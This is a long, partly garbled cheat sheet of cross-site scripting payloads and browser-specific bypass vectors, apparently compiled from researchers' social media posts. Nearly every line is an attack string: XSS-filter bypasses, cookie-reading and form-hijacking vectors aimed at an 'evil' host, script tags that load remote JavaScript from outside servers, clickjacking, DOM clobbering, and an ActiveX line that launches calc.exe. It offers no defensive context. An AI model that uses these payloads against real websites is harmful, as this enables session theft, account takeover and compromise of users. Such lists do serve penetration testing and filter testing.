IE xss filter bypass 0day :<script/%00%00v%00%00>alert(/@jackmasa/)</script> and %c0″//(%000000%0dalert(1)// #IE #0day
new XMLHttpRequest().open("GET", "data:text/html,<svg onload=alert(/@irsdl/)></svg>", false); #firefox #datauri
<h1 onerror=alert(/@0x6D6172696F/)>XSS</h1><style>*:after{content:url()}</style> #firefox
<script for= event=onerror()>alert(/@ma1/)</script><img id= src=> #IE
"<a href=javascript&.x3A;alert&(x28;1&)x29;//=>clickme #IE #xssfilter @kinugawamasato
Components.lookupMethod(self, 'alert')(1) #firefox
external.NavigateAndFind(' ',[],[]) #IE #URLredirect
<?php header('content-type:text/html;charset=utf-7-utf-8-shift_jis');?> IE decides charset as #utf-7 @hasegawayosuke
<meta http-equiv=refresh content="0 javascript:alert(1)"> #opera
<meta http-equiv=refresh content="?,javascript:alert(1)"> #chrome
<svg contentScriptType=text/vbs><script>MsgBox"@insertScript"<i> #IE9 #svg #vbscript<br>
setTimeout(['alert(/@garethheyes/)']); #chrome #safari #firefox</p>
<p><svg></ y="><x" onload=alert('@0x6D6172696F')> #svg<br>
Event.prototype[0]='@garethheyes',Event.prototype.length=1;Event.prototype.toString=[].join;onload=alert #webkit #opera<br>
URL-redirect vuln == XSS ! Location:data:text/html,<svg/onload=alert(document.domain)> #Opera @jackmasa<br>
<a href="data:application/x-x509-user-cert;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">click</a> #Chrome #XSS @RSnake<br>
Clipboard-hijack without script and css: http://<bdo dir=rtl>elgoog</bdo>.com<br>
Opera:<style>*{-o-link:'data:text/html,<svg/onload=alert(/@garethheyes/)>';-o-link-source:current}</style><a href=1>aaa<br>
$=<>@mozilla.org/js/function</>;$::<a href="/@superevr/"><>alert</></a> #firefox<br>
Firefox cookie xss: with(document)cookie='∼≩≭≧∯≳≲≣∽≸≸∺≸∠≯≮≥≲≲≯≲∽≡≬≥≲≴∨∱∩∾',write(cookie); by @jackmasa</p>
<p><svg><script>location=<>javascript&#x3A;alert(1)<!/></script> #Firefox #JustForFun
Just don't support IE <a href=[0x0b]" onclick=alert(1)//">click</a>
<style>//<!--</style> -->*{x:expression(alert(/@jackmasa/))}//<style></style>
<input #ie="" #xss<br="" >="" value="--><body/onload=<code>alert(/ @jackmasa /)//</code>">
Input[hidden] XSS <input type=hidden style=x:expression(alert(/ @garethheyes /))> target it.
Firefox clipboard-hijack without script and css : http://![]()
<![<img src=x:x onerror=alert(/ @jackmasa /)//]-->
E4X <{alert(1)}></{alert(2)}>.(alert(3)).@wtf.(wtf) by @garethheyes
vbscript coool feature chr(&H4141)="A", Chr(7^5)=A and Chr(&O41) =‘A’ by @masa141421356
({})[$='\143\157\156\163\164\162\165\143\164\157\162']$()
No referer : <iframe src="javascript:'<script src=>;</script>'"></iframe>
<svg><script>/**/alert(' @0x6D6172696F ')//*/</script></svg>
VBScript Event Handling: [Sub XXX_OnError MsgBox " @0x6D6172696F " End Sub]
if(1)alert(' @jackmasa ')}{ works in firebug and webkit's console
<svg><script onlypossibleinopera:-)> alert(1) #opera by @soaj1664ashar</svg>
![if<iframe/onload=vbs::alert[:] #IE by @0x6D6172696F, @jackmasa
<svg>script/XL:href= data:;;;base64;;;;,<>啊YWx啊lc啊nQ啊oMSk啊= mix! #opera by @jackmasa</svg>
<! XSS="><img src=xx:x onerror=alert(1)//"> #Firefox #Opera #Chrome #Safari #XSS
document.body.innerHTML=('<\000\0i\000mg src=xx:x onerror=alert(1)>') #IE #XSS
header('Refresh: 0;url=javascript:alert(1)');
<script language=vbs></script><img src=xx:x onerror="::alert' @insertScript '::">
click
CSS expression <style>*{font-family:'Serif}';x[value=expression(alert(URL=1));]{color:red}</style>
ES #FF for(location of ['javascript:alert(/ff/)']);
E4X function::['location']='javascript'':alert(/FF/)'
HTML5 entity char test
Firefox click <script>eval(test'')</script> by @cgvwzq
CSS and CSS :P
toUpperCase XSS document.write('<ı onclıck=alert(1)>asd</ı>'.toUpperCase()) by @jackmasa
IE6-8,IE9(quick mode) with jQuery<1.7 $("button").val("<iframe src=vbscript:alert(1)>") by @masa141421356
aha <script src=>alert(/IE|Opera/)</script>
Opera bug? <img src=//\ onload=alert(1)>
Use 127.1 no 127.0.0.1 by @jackmasa
IE vector location='vbscript:alert(1)'
jQuery super less-xss,work in IE: $(URL) 6 chars
Bootstrap tooltip.js xss some other plugins (e.g typeahead,popover) are also the same problem //cc @twbootstrap
innerText DOM XSS: innerHTML=innerText
Using IE XSS filter or Chrome xss auditor to block <meta> url redirect.
jQuery 1.8 a new method: $.parseHTML('<img src=xx:X onerror=alert(1)>')
IE all version CSRF vector <img lowsrc=//blog.zsec.uk>
Timing vector <img src=//ixss.sinaapp.com/sleep.php>
Firefox data uri can inherit dom-access. <iframe src="data:D,<script>alert(top.document.body.innerHTML)</script>"><br>
IE9 <script/onload=alert(1)></script><br>
Webkit and FF <style/onload=alert(1)><br>
Firefox E4X vector alert(<xss>xs{[function::status]}s</xss>) it is said E4H would replace E4X :P<br>
IE8 document.write('<img src="<iframe/onload=alert(1)>\0">')<br>
If you want to share your cool vector, please do not hesitate to let me know :)<br>
ASP trick: ?input1=<script/&in%u2119ut1=>al%u0117rt('1')</script> by @IRSDL</p>
<p><iframe srcdoc="<svg/onload=alert(domain)>"> #chrome 20 by @0x6D6172696F<br>
try{*}catch(e if(alert(1))){} by @garethheyes<br>
ß=ss <a href="http://ß.lv">click</a> by @_cweb<br>
<a href="http://www。example。com">click</a> by @_cweb<br>
Firefox link host dom xss <a href="https://t.co/aTtzHaaG">https://t.co/aTtzHaaG</a> by @garethheyes<br>
<a href="http://www﹒example﹒com ">click</a> by @_cweb<br>
history.pushState([],[],'/xssvector') HTML5 URL spoofing!<br>
Clickjacking with history.forward() and history.back() by @lcamtuf<br>
Inertia-Clickjacking for(i=10;i>1;i--)alert(i);new ActiveXObject("WScript.shell").Run('calc.exe',1,true); by @80vul<br>
XHTML Entity Hijacking [<!ENTITY nbsp "'">] by @masa141421356<br>
Firefox <img src=javascript:while([{}]);><br>
IE <!--[if<img src=x:x onerror=alert(5)//]--> by @0x6D6172696F H5SC#115<br>
Firefox funny vector for(i=0;i<100;) find(); by @garethheyes</p>
<p><script>var location={};</script><br>
IE JSON hijack with UTF-7 json={'x':'',x:location='1'} <script src=... charset=utf-7></script><br>
Firefox <iframe src=view-source://xxxx.com>; with drag and drop</p>
<p><button form=hijack_form_id formaction=//evil style="position:absolute;left:0;top:0;width:100%;height:100%"><plaintext> form hijacking <img src='//evil by @lcamtuf<br>
Webkit <iframe> viewsource attribute: // <iframe viewsource src="//test.de"></iframe> by @0x6D6172696F
DOM clobbering:<form name=location > clobbered location object on IE.
DOM clobbering:<form name=document><image name=body> clobbered document->body
<isindex formaction=javascript:alert(1)> by @jackmasa
Classic IE backtick DOM XSS:
<script>document.body.innerHTML=''</script>
Firefox click=>google by @garethheyes
click by @kkotowicz
Opera click variant base64 encode. by @jackmasa
Opera <svg><image x:href="data:image/svg-xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'%3E%3C/svg%3E"> by LeverOne H5SC#88</svg>
Webkit and Opera click
FF click url trick by @jackmasa
IE <script>-{valueOf:location,toString:[].pop,0:'vbscript:alert%281%29',length:1}</script> @thornmaker , @sirdarckcat
<i/onclick=URL=name> IE less xss,20 chars. by @0x6D6172696F
click
FF
no referrer by @sneak_
<svg><style>{font-family:'<iframe/onload=confirm(1)>'</style></svg>
<input/onmouseover="javaSCRIPT:confirm(1)"
<svg><scRipt %00>alert(1) {Opera}</svg>
<form><isindex formaction="javascript:confirm(1)"<img/src=
%00onerror=this.onerror=confirm<img src=
%00onerror=alert(1)<script/ src='https://dl.dropbox.com/u/13018058/js.js' / ></script>
<ScRipT 5-0*3?=>prompt(1)</ScRipT giveanswerhere=?
iframe/src="data:text/html; base64 ,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=="
<script /%00/>/%00/alert(1)/%00/</script /%00/
"><h1/onmouseover='\u0061lert(1)'>%00
<iframe/src="data:text/html,<svg onload=alert(1)>"
<meta content=" 1 ; JAVASCRIPT: alert(1)" http-equiv="refresh">
<svg><script xlink:href=data:,window.open('https://www.blog.zsec.uk/')></script</svg>
<svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}</svg>
<meta content="0;url=javascript:confirm(1)" http-equiv="refresh">
<iframe src=javascript:alert(document.location)>
X
</script><img/%00/src="worksinchrome:prompt(1)"/%00/onerror='eval(src)'>
<img/ src=
~onerror=prompt(1)><iframe src="javascript:alert(1)" ;>
<a href="data:application/x-x509-user-cert; base64 ,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" >X</a
http://www.google<script .com>alert(document.location)</script
<a href=[�]"� onmouseover=prompt(1)//">XYZ</a
<img/src=@ onerror = prompt('1')
<style/onload=prompt('XSS')
<script ^__^>alert(String.fromCharCode(49))</script
</style ><script :-(>//alert(document.location)//</script :-(
�</form><input type="date" onfocus="alert(1)">
<textarea onkeyup='\u0061\u006C\u0065\u0072\u0074(1)'>
<script //>//confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')//</script //
<iframe srcdoc="<body onload=prompt(1)>"><br> <a href="javascript:void(0)" onmouseover=
javascript:alert(1)
>X</a></p> <p><script <del>~>alert(0%0)</script ~</del>></p> <p><style/onload=<!--	> alert (1)><br> <///style///><span %2F onmousemove='alert(1)'>SPAN<br> <img/src='<a href="http://i.imgur.com/P8mL8.jpg">http://i.imgur.com/P8mL8.jpg</a>' onmouseover=	prompt(1)<br> "><svg><style>{-o-link-source:'<body/onload=confirm(1)>'<br> <blink/ onmouseover=prompt(1)>OnMouseOver {Firefox & Opera}</p> <p><marquee onstart='javascript:alert(1)'>^__^</p> <p><a href="div/style="width:expression(confirm(1))"">div/style="width:expression(confirm(1))"</a>X</div> {IE7}</p> <p><iframe/%00/ src=javaSCRIPT:alert(1)<br> //<form/action=javascript:alert(document.cookie)><input/type='submit'>//<br> /<em>iframe/src</em>/<a href="mailto:iframe/src="<iframe/src=@"/onload=prompt/*iframe/src*/">iframe/src="<iframe/src=@"/onload=prompt/*iframe/src*/</a><br> //|\ <script //|\ src='<a href="https://dl.dropbox.com/u/13018058/js.js'>">https://dl.dropbox.com/u/13018058/js.js'></a> //|\ </script //|\<br> </font>/<svg><style>{src:'<style/onload=this.onload=confirm(1)>'</font>/</style> <a/href="javascript: javascript:prompt(1)"><input type="X"> </plaintext\></|\><plaintext/onmouseover=prompt(1) </svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert(1) {Opera}<br> <a href="javascript:\u0061le%72t(1)"><button></p> <p><div onmouseover='alert(1)'>DIV</div></p> <p><iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)"><br> <a href="jAvAsCrIpT:alert(1)">X</a></p> <p><embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"></p> <p><object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"><br> <var onmouseover="prompt(1)">On Mouse Over</var><br> <a href=javascript:alert(document.cookie)>Click Here</a><br> <img src="/" =_=" title="onerror='prompt(1)'"><br> <%<!--'%><script>alert(1);</script --></p> <p><script src="data:text/javascript,alert(1)"></script></p> <p><iframe/src \/\/onload = prompt(1)</p> <p><iframe/onreadystatechange=alert(1)</p> <p><svg/onload=alert(1)</p> <p><input value=<><iframe/src=javascript:confirm(1)</p> <p><input type="text" value=`` <div/onmouseover='alert(1)'>X</div><br> <a href="http://www">http://www</a>.<script>alert(1)</script .com</p> <p><iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															28
																1
																	%29></iframe></p> <p><svg><script ?>alert(1)</p> <p><iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe><br> <img src=<code>xx:xx</code>onerror=alert(1)></p> <p><object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object></p> <p><meta http-equiv="refresh" content="0;javascript:alert(1)"/></p> <p><math><a xlink:href="//jsfiddle.net/t846h/">click</p> <p><embed code="<a href="http://businessinfo.co.uk/labs/xss/xss.swf">http://businessinfo.co.uk/labs/xss/xss.swf</a>" allowscriptaccess=always></p> <p><svg contentScriptType=text/vbs><script>MsgBox<br> <a href="data:text/html;base64_,<svg/onload=\u0061le%72t(1)>">X</a</p> <p><iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u006worksinIE></p> <p><script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U</p> <p><script/src="data:text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F</p> <p><script/src=data:text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script</p> <p><object data=javascript:\u0061l&#101%72t(1)></p> <p><script>++1-+?(1)</script></p> <p><body/onload=<!-->&#10alert(1)></p> <p><script itworksinallbrowsers>/<em><script</em> */alert(1)</script<br> <img src ?itworksonchrome?\/onerror = alert(1)</p> <p><svg><script>//
confirm(1);</script </svg></p> <p><svg><script onlypossibleinopera:-)> alert(1)<br> <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe</p> <p><script x> alert</script 1=2</p> <p><div/onmouseover='alert(1)'> style="x:"><br> <--<code><img/src=</code> onerror=alert(1)> --!></p> <p><a href="script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,alert(1)">script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,alert(1)</a></script></p> <p><div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button><br> "><img src=x onerror=window.open('<a href="https://www.zsec.uk');>">https://www.zsec.uk');></a></p> <p><form><button formaction=javascript:alert(1)>CLICKME</p> <p><math><a xlink:href="//blog.zsec.uk">click</p> <p><object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik></object></p> <p><iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
</form>1Click Me
'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eshadowlabs(0x000045)%3C/script%3E
<scr\0ipt/src=http://xss.com/xss.js</script
%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3ERWAR%280x00010E%29%3C%2Fscript%3E
' onmouseover=alert(/Black.Spook/)
">iframe%20src="http://blog.zsec.uk"%%203E '<scriptwindow.onload=function(){document.forms[0].message.value='1';}</script>
x”</title><img src%3dx onerror%3dalert(1)>